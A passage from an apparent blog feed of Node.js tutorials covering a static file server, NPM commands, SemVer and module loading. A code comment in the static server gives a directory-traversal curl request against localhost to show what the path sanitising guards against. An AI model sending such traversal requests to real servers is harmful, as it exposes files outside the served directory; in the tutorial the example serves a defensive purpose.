<h2 id="HTTP-Web-Servers"><a href="#HTTP-Web-Servers" class="headerlink" title="HTTP Web Servers"></a>HTTP Web Servers</h2><p>Node’s HTTP module is versatile. You can use it as a client, to grab content from websites or as a server. We are going to use it server files from our file system.</p>
<p>If you are familiar with Ruby or Python or http-server package. It’s the equivalent of this:</p>
<figure class="highlight bash"><figcaption><span>Existing HTTP Servers Implementations</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">## python HTTP server</span></span><br><span class="line">python -m SimpleHTTPServer 9000</span><br><span class="line"></span><br><span class="line"><span class="comment">## ruby HTTP server</span></span><br><span class="line">ruby -run -e httpd . -p 9000</span><br><span class="line"></span><br><span class="line"><span class="comment">## Node HTTP server (npm install http-server)</span></span><br><span class="line">http-server . -p 9000</span><br></pre></td></tr></table></figure>

<p>Let’s do our own. It’s not that hard.</p>
<h2 id="Simple-HTTP-Server"><a href="#Simple-HTTP-Server" class="headerlink" title="Simple HTTP Server"></a>Simple HTTP Server</h2><p>One of the simplest servers that you can create in Node, looks like this:</p>
<figure class="highlight javascript"><figcaption><span>Simple server.js</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> http = <span class="built_in">require</span>(<span class="string">&#x27;http&#x27;</span>);</span><br><span class="line"></span><br><span class="line">http.createServer(<span class="function"><span class="keyword">function</span> (<span class="params">req, res</span>) </span>&#123;</span><br><span class="line">  <span class="comment">// server code</span></span><br><span class="line">  <span class="built_in">console</span>.log(<span class="string">`<span class="subst">$&#123;req.method&#125;</span> <span class="subst">$&#123;req.url&#125;</span>`</span>);</span><br><span class="line">  res.end(<span class="string">&#x27;hello world!&#x27;</span>);</span><br><span class="line">&#125;).listen(<span class="number">9000</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">&#x27;Server listening on port 9000&#x27;</span>);</span><br></pre></td></tr></table></figure>

<p>To test it out, save the code in a file called <code>server.js</code> and run:</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">node server.js</span><br></pre></td></tr></table></figure>

<p>Then open the browser on <code>http://localhost:9000</code> and you will see the “hello world!” message.</p>
<p>Let’s explain what’s going on in the code. We are using the function <code>http.createServer</code> with a callback. This callback function is going to be called every time a client connects to the server. You can see that it takes two parameters: <code>req</code>uest and <code>res</code>ponse.</p>
<p>The request contains the client’s information. For instance: requested URL, path, headers, HTTP method, and so forth.</p>
<p>The response object is used to reply to the client. You can set what you want to send back to the client. For instance, data, headers, etc.</p>
<p>Finally, the listening part. It allows you to set the port that you want your server to run on. In this case, we are using <code>9000</code>.</p>
<h2 id="Node-js-HTTP-static-file-server-with-ES6"><a href="#Node-js-HTTP-static-file-server-with-ES6" class="headerlink" title="Node.js HTTP static file server with ES6+"></a>Node.js HTTP static file server with ES6+</h2><p>Let’s now proceed to do the static web server. We want to parse the URL path and get the file matching that path. For instance, if we get a request like <code>localhost:9000/example/server.js</code>. We want to look for a file in <code>./example/server.js</code>.</p>
<p>Browsers don’t rely on the extension to render a file. Instead, they use the header <code>Content-type</code>. For instance, if we serve an HTML file with a content type <code>text/plain</code> it will show the HTML code (plain text). But, if you use a content type <code>text/html</code> then it will render the HTML as such.</p>
<p>For now, we can infer the file content type based on the file extension. The content types are represented in MIME formmat. MIME stands for Multipurpose Internet Mail Extensions. You can see the MIME types according to file extentions in the following code:</p>
<figure class="highlight javascript"><figcaption><span>static_server.js</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> http = <span class="built_in">require</span>(<span class="string">&#x27;http&#x27;</span>);</span><br><span class="line"><span class="keyword">const</span> url = <span class="built_in">require</span>(<span class="string">&#x27;url&#x27;</span>);</span><br><span class="line"><span class="keyword">const</span> fs = <span class="built_in">require</span>(<span class="string">&#x27;fs&#x27;</span>);</span><br><span class="line"><span class="keyword">const</span> path = <span class="built_in">require</span>(<span class="string">&#x27;path&#x27;</span>);</span><br><span class="line"><span class="comment">// you can pass the parameter in the command line. e.g. node static_server.js 3000</span></span><br><span class="line"><span class="keyword">const</span> port = process.argv[<span class="number">2</span>] || <span class="number">9000</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// maps file extention to MIME types</span></span><br><span class="line"><span class="comment">// full list can be found here: https://www.freeformatter.com/mime-types-list.html</span></span><br><span class="line"><span class="keyword">const</span> mimeType = &#123;</span><br><span class="line">  <span class="string">&#x27;.ico&#x27;</span>: <span class="string">&#x27;image/x-icon&#x27;</span>,</span><br><span class="line">  <span class="string">&#x27;.html&#x27;</span>: <span class="string">&#x27;text/html&#x27;</span>,</span><br><span class="line">  <span class="string">&#x27;.js&#x27;</span>: <span class="string">&#x27;text/javascript&#x27;</span>,</span><br><span class="line">  <span class="string">&#x27;.json&#x27;</span>: <span class="string">&#x27;application/json&#x27;</span>,</span><br><span class="line">  <span class="string">&#x27;.css&#x27;</span>: <span class="string">&#x27;text/css&#x27;</span>,</span><br><span class="line">  <span class="string">&#x27;.png&#x27;</span>: <span class="string">&#x27;image/png&#x27;</span>,</span><br><span class="line">  <span class="string">&#x27;.jpg&#x27;</span>: <span class="string">&#x27;image/jpeg&#x27;</span>,</span><br><span class="line">  <span class="string">&#x27;.wav&#x27;</span>: <span class="string">&#x27;audio/wav&#x27;</span>,</span><br><span class="line">  <span class="string">&#x27;.mp3&#x27;</span>: <span class="string">&#x27;audio/mpeg&#x27;</span>,</span><br><span class="line">  <span class="string">&#x27;.svg&#x27;</span>: <span class="string">&#x27;image/svg+xml&#x27;</span>,</span><br><span class="line">  <span class="string">&#x27;.pdf&#x27;</span>: <span class="string">&#x27;application/pdf&#x27;</span>,</span><br><span class="line">  <span class="string">&#x27;.zip&#x27;</span>: <span class="string">&#x27;application/zip&#x27;</span>,</span><br><span class="line">  <span class="string">&#x27;.doc&#x27;</span>: <span class="string">&#x27;application/msword&#x27;</span>,</span><br><span class="line">  <span class="string">&#x27;.eot&#x27;</span>: <span class="string">&#x27;application/vnd.ms-fontobject&#x27;</span>,</span><br><span class="line">  <span class="string">&#x27;.ttf&#x27;</span>: <span class="string">&#x27;application/x-font-ttf&#x27;</span>,</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line">http.createServer(<span class="function"><span class="keyword">function</span> (<span class="params">req, res</span>) </span>&#123;</span><br><span class="line">  <span class="built_in">console</span>.log(<span class="string">`<span class="subst">$&#123;req.method&#125;</span> <span class="subst">$&#123;req.url&#125;</span>`</span>);</span><br><span class="line"></span><br><span class="line">  <span class="comment">// parse URL</span></span><br><span class="line">  <span class="keyword">const</span> parsedUrl = url.parse(req.url);</span><br><span class="line"></span><br><span class="line">  <span class="comment">// extract URL path</span></span><br><span class="line">  <span class="comment">// Avoid https://en.wikipedia.org/wiki/Directory_traversal_attack</span></span><br><span class="line">  <span class="comment">// e.g curl --path-as-is http://localhost:9000/../fileInDanger.txt</span></span><br><span class="line">  <span class="comment">// by limiting the path to current directory only</span></span><br><span class="line">  <span class="keyword">const</span> sanitizePath = path.normalize(parsedUrl.pathname).replace(<span class="regexp">/^(\.\.[\/\\])+/</span>, <span class="string">&#x27;&#x27;</span>);</span><br><span class="line">  <span class="keyword">let</span> pathname = path.join(__dirname, sanitizePath);</span><br><span class="line"></span><br><span class="line">  fs.exists(pathname, <span class="function"><span class="keyword">function</span> (<span class="params">exist</span>) </span>&#123;</span><br><span class="line">    <span class="keyword">if</span>(!exist) &#123;</span><br><span class="line">      <span class="comment">// if the file is not found, return 404</span></span><br><span class="line">      res.statusCode = <span class="number">404</span>;</span><br><span class="line">      res.end(<span class="string">`File <span class="subst">$&#123;pathname&#125;</span> not found!`</span>);</span><br><span class="line">      <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// if is a directory, then look for index.html</span></span><br><span class="line">    <span class="keyword">if</span> (fs.statSync(pathname).isDirectory()) &#123;</span><br><span class="line">      pathname += <span class="string">&#x27;/index.html&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// read file from file system</span></span><br><span class="line">    fs.readFile(pathname, <span class="function"><span class="keyword">function</span>(<span class="params">err, data</span>)</span>&#123;</span><br><span class="line">      <span class="keyword">if</span>(err)&#123;</span><br><span class="line">        res.statusCode = <span class="number">500</span>;</span><br><span class="line">        res.end(<span class="string">`Error getting the file: <span class="subst">$&#123;err&#125;</span>.`</span>);</span><br><span class="line">      &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="comment">// based on the URL path, extract the file extention. e.g. .js, .doc, ...</span></span><br><span class="line">        <span class="keyword">const</span> ext = path.parse(pathname).ext;</span><br><span class="line">        <span class="comment">// if the file is found, set Content-type and send data</span></span><br><span class="line">        res.setHeader(<span class="string">&#x27;Content-type&#x27;</span>, mimeType[ext] || <span class="string">&#x27;text/plain&#x27;</span> );</span><br><span class="line">        res.end(data);</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;);</span><br><span class="line">  &#125;);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">&#125;).listen(<span class="built_in">parseInt</span>(port));</span><br><span class="line"></span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">`Server listening on port <span class="subst">$&#123;port&#125;</span>`</span>);</span><br></pre></td></tr></table></figure>

<p>We are using Node.js core <code>path.parse</code> libraries to get the extensions from the URL path.   Similarly, we are using <code>url.parse</code> to break down the <code>request.url</code> into its components. Then, we extract the extension from the file. Finally, we use <code>fs.readFile</code> to get the content from the file system. If any error occurs related to the file path, we return a 404 and otherwise return the file content.</p>
<p>Give it a try with:</p>
<figure class="highlight bash"><figcaption><span>Command lines to test the server</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">## run server</span></span><br><span class="line">node server.js</span><br><span class="line"></span><br><span class="line"><span class="comment">## get the javascript file with</span></span><br><span class="line">curl -i localhost:9000/server.js</span><br><span class="line"></span><br><span class="line"><span class="comment">## testing with non-existing file</span></span><br><span class="line">curl -i localhost:9000/invalid-file.doc</span><br></pre></td></tr></table></figure>


<p>For the first one, you will get a 200 OK response, while for the 2nd one you will get a 404 not found error, as expected.</p>
<p>You can also download the code from this repo and try out with the test files:</p>
<figure class="highlight bash"><figcaption><span>Testing with different file types</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">## Get Repository</span></span><br><span class="line">git <span class="built_in">clone</span> https://github.com/amejiarosario/meanshop.git</span><br><span class="line"><span class="built_in">cd</span> meanshop</span><br><span class="line"><span class="comment">## Load the specific version</span></span><br><span class="line">git checkout static-server</span><br><span class="line"></span><br><span class="line"><span class="comment">## start the server (requires Node 4+)</span></span><br><span class="line">npm start</span><br><span class="line"></span><br><span class="line"><span class="comment">## test it in your browser with the following paths:</span></span><br><span class="line">open http://localhost:9000/</span><br><span class="line">open http://localhost:9000/index.html</span><br><span class="line">open http://localhost:9000/<span class="built_in">test</span>/meanshop-book.png</span><br></pre></td></tr></table></figure>

<h2 id="Summary"><a href="#Summary" class="headerlink" title="Summary"></a>Summary</h2><p>In this post, we went through the basics about <code>http</code> module to create a server. We talk about the MIME types and how the help the browser to render properly. Finally, we put all together to accomplish our static file server with Node.js!</p>
]]></content>
    
    <summary type="html">
    
      &lt;p&gt;We are going to do a &lt;strong&gt;static file server&lt;/strong&gt; in Node.js. This web server is going to respond with the content of the file in a given path. While we are doing this exercise we are going to cover more about &lt;code&gt;http&lt;/code&gt; module. Also, use some utilities from other core modules such as &lt;code&gt;path&lt;/code&gt;, &lt;code&gt;url&lt;/code&gt; and &lt;code&gt;fs&lt;/code&gt;.&lt;/p&gt;
    
    </summary>
    
      <category term="Coding" scheme="https://adrianmejia.com/categories/coding/"/>
    
    
      <category term="nodejs" scheme="https://adrianmejia.com/tags/nodejs/"/>
    
  </entry>
  
  <entry>
    <title>Node Package Manager (NPM) Tutorial</title>
    <link href="https://adrianmejia.com/Node-Package-Manager-NPM-Tutorial/"/>
    <id>https://adrianmejia.com/Node-Package-Manager-NPM-Tutorial/</id>
    <published>2016-08-19T20:18:32.000Z</published>
    <updated>2016-08-19T20:18:32.000Z</updated>
    
    <content type="html"><![CDATA[<p>This tutorial goes from how to install NPM to manage packages dependencies. While we are doing this, we will use practical examples to drive the concepts home.</p>
<a id="more"></a>

<p>Node Package Manager (NPM) is a CLI tool to manage dependencies. It also allows you to publish packages to the NPM website and find new modules.</p>
<p>In this section, we are going to get hands-on NPM. We will cover how to install it to how to download, uninstall, and manage packages. While we are doing this, we will use practical examples to drive the concepts home.</p>
<h2 id="How-to-install-update-NPM"><a href="#How-to-install-update-NPM" class="headerlink" title="How to install/update NPM?"></a>How to install/update NPM?</h2><p><abbr title="Node Package Manager">NPM</abbr> is bundle into the Node installation. So, if you have Node, then you have <abbr title="Node Package Manager">NPM</abbr> already. But, <abbr title="Node Package Manager">NPM</abbr> gets updated more often than Node. So, from time to time you need to get the latest version.</p>
<p>You can check the NPM version and install latest  by running:</p>
<figure class="highlight bash"><figcaption><span>Installing NPM</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">## get version</span></span><br><span class="line">npm -v</span><br><span class="line"></span><br><span class="line"><span class="comment">## update NPM to latest and greatest</span></span><br><span class="line">npm install -g npm</span><br></pre></td></tr></table></figure>

<p>You can also use the shortcut for <code>npm install</code> like <code>npm i</code>.</p>
<h2 id="How-to-start-a-NodeJs-project"><a href="#How-to-start-a-NodeJs-project" class="headerlink" title="How to start a NodeJs project?"></a>How to start a NodeJs project?</h2><p>Node projects and packages use a particular file called <code>package.json</code>. It contains dependencies and more information to run the project. Let’s start by creating that using the <code>npm init</code> command. We are going to call our project <code>meanshop2</code>, but call it whatever you want ;)</p>
<figure class="highlight bash"><figcaption><span>initializing a Node project/package</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">mkdir meanshop2 &amp;&amp; <span class="built_in">cd</span> meanshop2</span><br><span class="line">npm init --yes</span><br></pre></td></tr></table></figure>

<p>This set of commands created a new folder called <code>meanshop2</code>. The <code>init</code> command will create <code>package.json</code> file for us. The <code>--yes</code> option go with the defaults. Otherwise, it will ask us to fill out every property in package.json.</p>
<figure class="highlight javascript"><figcaption><span>package.json</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">  <span class="string">&quot;name&quot;</span>: <span class="string">&quot;meanshop2&quot;</span>,</span><br><span class="line">  <span class="string">&quot;version&quot;</span>: <span class="string">&quot;1.0.0&quot;</span>,</span><br><span class="line">  <span class="string">&quot;description&quot;</span>: <span class="string">&quot;&quot;</span>,</span><br><span class="line">  <span class="string">&quot;main&quot;</span>: <span class="string">&quot;index.js&quot;</span>,</span><br><span class="line">  <span class="string">&quot;scripts&quot;</span>: &#123;</span><br><span class="line">    <span class="string">&quot;test&quot;</span>: <span class="string">&quot;echo \&quot;Error: no test specified\&quot; &amp;&amp; exit 1&quot;</span></span><br><span class="line">  &#125;,</span><br><span class="line">  <span class="string">&quot;keywords&quot;</span>: [],</span><br><span class="line">  <span class="string">&quot;author&quot;</span>: <span class="string">&quot;&quot;</span>,</span><br><span class="line">  <span class="string">&quot;license&quot;</span>: <span class="string">&quot;ISC&quot;</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>Feel free to edit any of the properties values, such as author, description. Note that the version starts with <code>1.0.0</code>. We are going to talk more about versioning later on this tutorial.</p>
<h2 id="How-to-download-NPM-packages"><a href="#How-to-download-NPM-packages" class="headerlink" title="How to download NPM packages?"></a>How to download NPM packages?</h2><p>You can download <abbr title="Node Package Manager">NPM</abbr> packages using <code>npm install &lt;package_name&gt;</code>. By default, npm will grab the latest version, but you can also specify an exact version.</p>
<p>Let’s install two packages <code>lodash</code> and <code>express</code> as follows:</p>
<figure class="highlight bash"><figcaption><span>Installing NPM packages</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">## install latest and save on package.json</span></span><br><span class="line">npm install lodash --save</span><br><span class="line"></span><br><span class="line"><span class="comment">## install specific version and save dep on package.json</span></span><br><span class="line">npm install express@4.14.0 --save</span><br></pre></td></tr></table></figure>

<p><code>npm install</code> is going to create a new folder called <code>node_modules</code>, where all the dependencies live.</p>
<p>Notice that for the second package we are specifying the exact version. You can use the <code>@</code> symbol and then the version number.</p>
<p>Go to your <code>package.json</code> and verify that they both are listed as dependencies. You can install all the dependencies by running this command:</p>
<figure class="highlight bash"><figcaption><span>Install all dependencies from a package.json</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">npm install</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<p><abbr title="Node Package Manager">NPM</abbr> will add packages to dependencies if you use the <code>--save</code> flag. Otherwise, <code>npm</code> won’t include it. To automate the process, you can run:</p>
<figure class="highlight bash"><figcaption><span>Smarter NPM's defaults</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">npm config <span class="built_in">set</span> save=<span class="literal">true</span></span><br><span class="line">npm config <span class="built_in">set</span> save-exact=<span class="literal">true</span></span><br></pre></td></tr></table></figure>

<p>The <code>save=true</code> will make that the packages get auto-installed. <code>save-exact=true</code> will lock the current version and prevent automatic updates and break the project.</p>
<p>To sum up, here are the commands:</p>
<figure class="highlight bash"><figcaption><span>NPM install commands</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">## install a package globally</span></span><br><span class="line">npm install -g &lt;package_name&gt;</span><br><span class="line"></span><br><span class="line"><span class="comment">## install a package locally (node_modules)</span></span><br><span class="line">npm install &lt;package_name&gt;</span><br><span class="line"></span><br><span class="line"><span class="comment">## install a package locally and save it as dependency (package.json)</span></span><br><span class="line">npm install &lt;package_name&gt; --save-dev</span><br><span class="line"></span><br><span class="line"><span class="comment">## install package locally, save it as a dependency with the exact version</span></span><br><span class="line">npm install &lt;package_name&gt; --save   --save-exact</span><br><span class="line"></span><br><span class="line"><span class="comment">## install all dependencies listed in package.json</span></span><br><span class="line">npm install</span><br></pre></td></tr></table></figure>

<p>Usually, you use <code>--save-dev</code> vs. <code>--save</code> when you need use package that is not part of the project. For instance, testing libraries, building assets tools, etc.</p>
<p>You can search for all NPM modules on <a href="https://www.npmjs.com/browse/star">npmjs.com</a></p>
<h2 id="How-to-view-my-installed-NPM-packages"><a href="#How-to-view-my-installed-NPM-packages" class="headerlink" title="How to view my installed NPM packages?"></a>How to view my installed NPM packages?</h2><p>Sometimes it is useful to see the list of packages that you have installed on your system. You can do that with the following commands:</p>
<figure class="highlight bash"><figcaption><span>List packages</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">## list all installed dependencies</span></span><br><span class="line">npm ls --depth=0</span><br><span class="line"></span><br><span class="line"><span class="comment">## list all installed globally dependencies</span></span><br><span class="line">npm ls -g --depth=0</span><br></pre></td></tr></table></figure>

<p>You can use <code>--depth=0</code> to prevent listing the dependencies’ dependencies.</p>
<h2 id="What-is-SemVer"><a href="#What-is-SemVer" class="headerlink" title="What is SemVer?"></a>What is SemVer?</h2><p>Semantic Versioning (<abbr title="Semantic Versioning">SemVer</abbr>) is versioning convention composed of three numbers: <code>Major.Minor.Patch</code> or also <code>Breaking.Feature.Patch</code>:</p>
<ul>
<li><strong>Major releases: breaking changes.</strong> Major changes that change (breaks) how the API worked before. For instance, removed functions.</li>
<li><strong>Minor releases: new features</strong>. Changes that keeps the API working as before and adds new functionality.</li>
<li><strong>Patch releases: bug fixes</strong>. Patches don’t add functionality nor remove/changes functionality. It’s scope only to bug fixes.</li>
</ul>
<p>You can specify in the <code>package.json</code> how packages can be updated. You can use <code>~</code> for updating patches. <code>^</code> for upgrading minor releases and <code>*</code> for major releases.</p>
<p><img src="/images/semver-major-minor-patch-breaking-feature-fix.png" alt="SemVer Breaking.Feature.Fix"></p>
<p>Like this:</p>
<ul>
<li>Patch releases: <code>~1.0.7</code>, or <code>1.0.x</code> or just <code>1.0</code>.</li>
<li>Minor releases: <code>^1.0.7</code>, or <code>1.x</code> or just <code>1</code>.</li>
<li>Major releases: <code>*</code> or <code>x</code>.</li>
</ul>
<p>As you could imagine, not all developers respect the Semantic Version rules. Try to follow the rules yourself, but don’t trust that all will do. You can have your project working well with a <code>1.0.8</code> version and all in a sudden it breaks with <code>1.0.9</code>. It happened to me before, so I prefer to use: <code>--save-exact</code>, when it makes sense.</p>
<h2 id="How-to-uninstall-NPM-packages"><a href="#How-to-uninstall-NPM-packages" class="headerlink" title="How to uninstall NPM packages?"></a>How to uninstall NPM packages?</h2><p>You can uninstall <abbr title="Node Package Manager">NPM</abbr> packages using the following commands:</p>
<figure class="highlight bash"><figcaption><span>Uninstalling NPM packages</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">## uninstall the package and leave it listed as dep</span></span><br><span class="line">npm uninstall lodash</span><br><span class="line"></span><br><span class="line"><span class="comment">## uninstall and remove from dependencies</span></span><br><span class="line">npm uninstall --save lodash</span><br><span class="line"></span><br><span class="line"><span class="comment">## uninstall global package</span></span><br><span class="line">npm uninstall -g &lt;package_name&gt;</span><br><span class="line"></span><br><span class="line"><span class="comment">## remove uninstalled packages from node_modules</span></span><br><span class="line">npm prune <span class="comment"># remove extraneous</span></span><br></pre></td></tr></table></figure>

<h2 id="Summary"><a href="#Summary" class="headerlink" title="Summary"></a>Summary</h2><p><abbr title="Node Package Manager">NPM</abbr> is a powerful tool. It helps us to create Node projects/modules, manage its dependencies, and much more. In this section, we covered the main commands that you would most often.</p>
<p>Furthermore, we cover <abbr title="Semantic Versioning">SemVer</abbr>. It is used in many systems (Ruby Gems, etc.) not just in the Node community. SemVer is a three-part number versioning system: Major.Minor.Patch. You can also think as Breaking.Feature.Patch.</p>
]]></content>
    
    <summary type="html">
    
      &lt;p&gt;This tutorial goes from how to install NPM to manage packages dependencies. While we are doing this, we will use practical examples to drive the concepts home.&lt;/p&gt;
    
    </summary>
    
      <category term="Coding" scheme="https://adrianmejia.com/categories/coding/"/>
    
    
      <category term="nodejs" scheme="https://adrianmejia.com/tags/nodejs/"/>
    
  </entry>
  
  <entry>
    <title>Getting started with Node.js modules: require, exports, imports and beyond</title>
    <link href="https://adrianmejia.com/Getting-started-with-Node-js-modules-require-exports-imports-npm-and-beyond/"/>
    <id>https://adrianmejia.com/Getting-started-with-Node-js-modules-require-exports-imports-npm-and-beyond/</id>
    <published>2016-08-12T20:30:23.000Z</published>
    <updated>2019-06-28T18:18:23.000Z</updated>
    
    <content type="html"><![CDATA[<p>Getting started with Node.js modules: <code>require</code>, <code>exports</code>, <code>imports</code>, and beyond.</p>
<p>Modules are a crucial concept to understand Node.js projects. In this post, we cover Node modules: <code>require</code>, <code>exports</code> and, the future <code>import</code>.</p>
<a id="more"></a>

<p>Node modules allow you to write reusable code. You can nest them one inside another. Using the Node Package Manager (NPM), you can publish your modules and make them available to the community. Also, NPM enables you to reuse modules created by other developers.</p>
<blockquote>
<p>We are using Node 12.x for the examples and ES6+ syntax. However, the concepts are valid for any version.</p>
</blockquote>
<p>In this section, we are going to cover how to create Node modules and each one of its components:</p>
<ul>
<li>Require</li>
<li>Exports</li>
<li>Module (module.exports vs. export)</li>
<li>Import</li>
</ul>
<h2 id="Require"><a href="#Require" class="headerlink" title="Require"></a>Require</h2><p><code>require</code> are used to consume modules. It allows you to include modules in your programs. You can add built-in core Node.js modules, community-based modules (<code>node_modules</code>), and local modules.</p>
<p>Let’s say we want to read a file from the filesystem. Node has a core module called ‘fs’:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line marked"><span class="keyword">const</span> fs = <span class="built_in">require</span>(<span class="string">&#x27;fs&#x27;</span>);</span><br><span class="line"></span><br><span class="line">fs.readFile(<span class="string">&#x27;./file.txt&#x27;</span>, <span class="string">&#x27;utf-8&#x27;</span>, <span class="function">(<span class="params">err, data</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="keyword">if</span>(err) &#123; <span class="keyword">throw</span> err; &#125;</span><br><span class="line">  <span class="built_in">console</span>.log(<span class="string">&#x27;data: &#x27;</span>, data);</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure>

<p>As you can see, we imported the “fs” module into our code. It allows us to use any function attached to it, like “readFile” and many others.</p>
<p>The <code>require</code> function will look for files in the following order:</p>
<ol>
<li><strong>Built-in</strong> core Node.js modules (like <code>fs</code>)</li>
<li><strong>NPM Modules</strong>. It will look in the <code>node_modules</code> folder.</li>
<li><strong>Local Modules</strong>. If the module name has a <code>./</code>, <code>/</code> or <code>../</code>, it will look for the directory/file in the given path. It matches the file extensions: <code>*.js</code>, <code>*.json</code>, <code>*.mjs</code>, <code>*.cjs</code>, <code>*.wasm</code> and <code>*.node</code>.</li>
</ol>
<p>Let’s now explain each in little more details with</p>
<h3 id="Built-in-Modules"><a href="#Built-in-Modules" class="headerlink" title="Built-in Modules"></a>Built-in Modules</h3><p>When you install node, it comes with many built-in modules. Node comes with batteries included ;)</p>
<p>Some of the most used core modules are:</p>
<ul>
<li><a href="https://nodejs.org/api/fs.html">fs</a>: Allows you to manipulate (create/read/write) files and directories.</li>
<li><a href="https://nodejs.org/api/path.html">path</a>: utilities to work with files and directories paths.</li>
<li><a href="https://nodejs.org/api/http.html">http</a>: create HTTP servers and clients for web development.</li>
<li><a href="https://nodejs.org/api/url.html">url</a>: utilities for parsing URLs and extracting elements from it.</li>
</ul>
<p>These you don’t have to install it, you can import them and use them in your programs.</p>
<h3 id="NPM-Modules"><a href="#NPM-Modules" class="headerlink" title="NPM Modules"></a>NPM Modules</h3><p>NPM modules are 3rd-party modules that you can use after you install them. To name a few:</p>
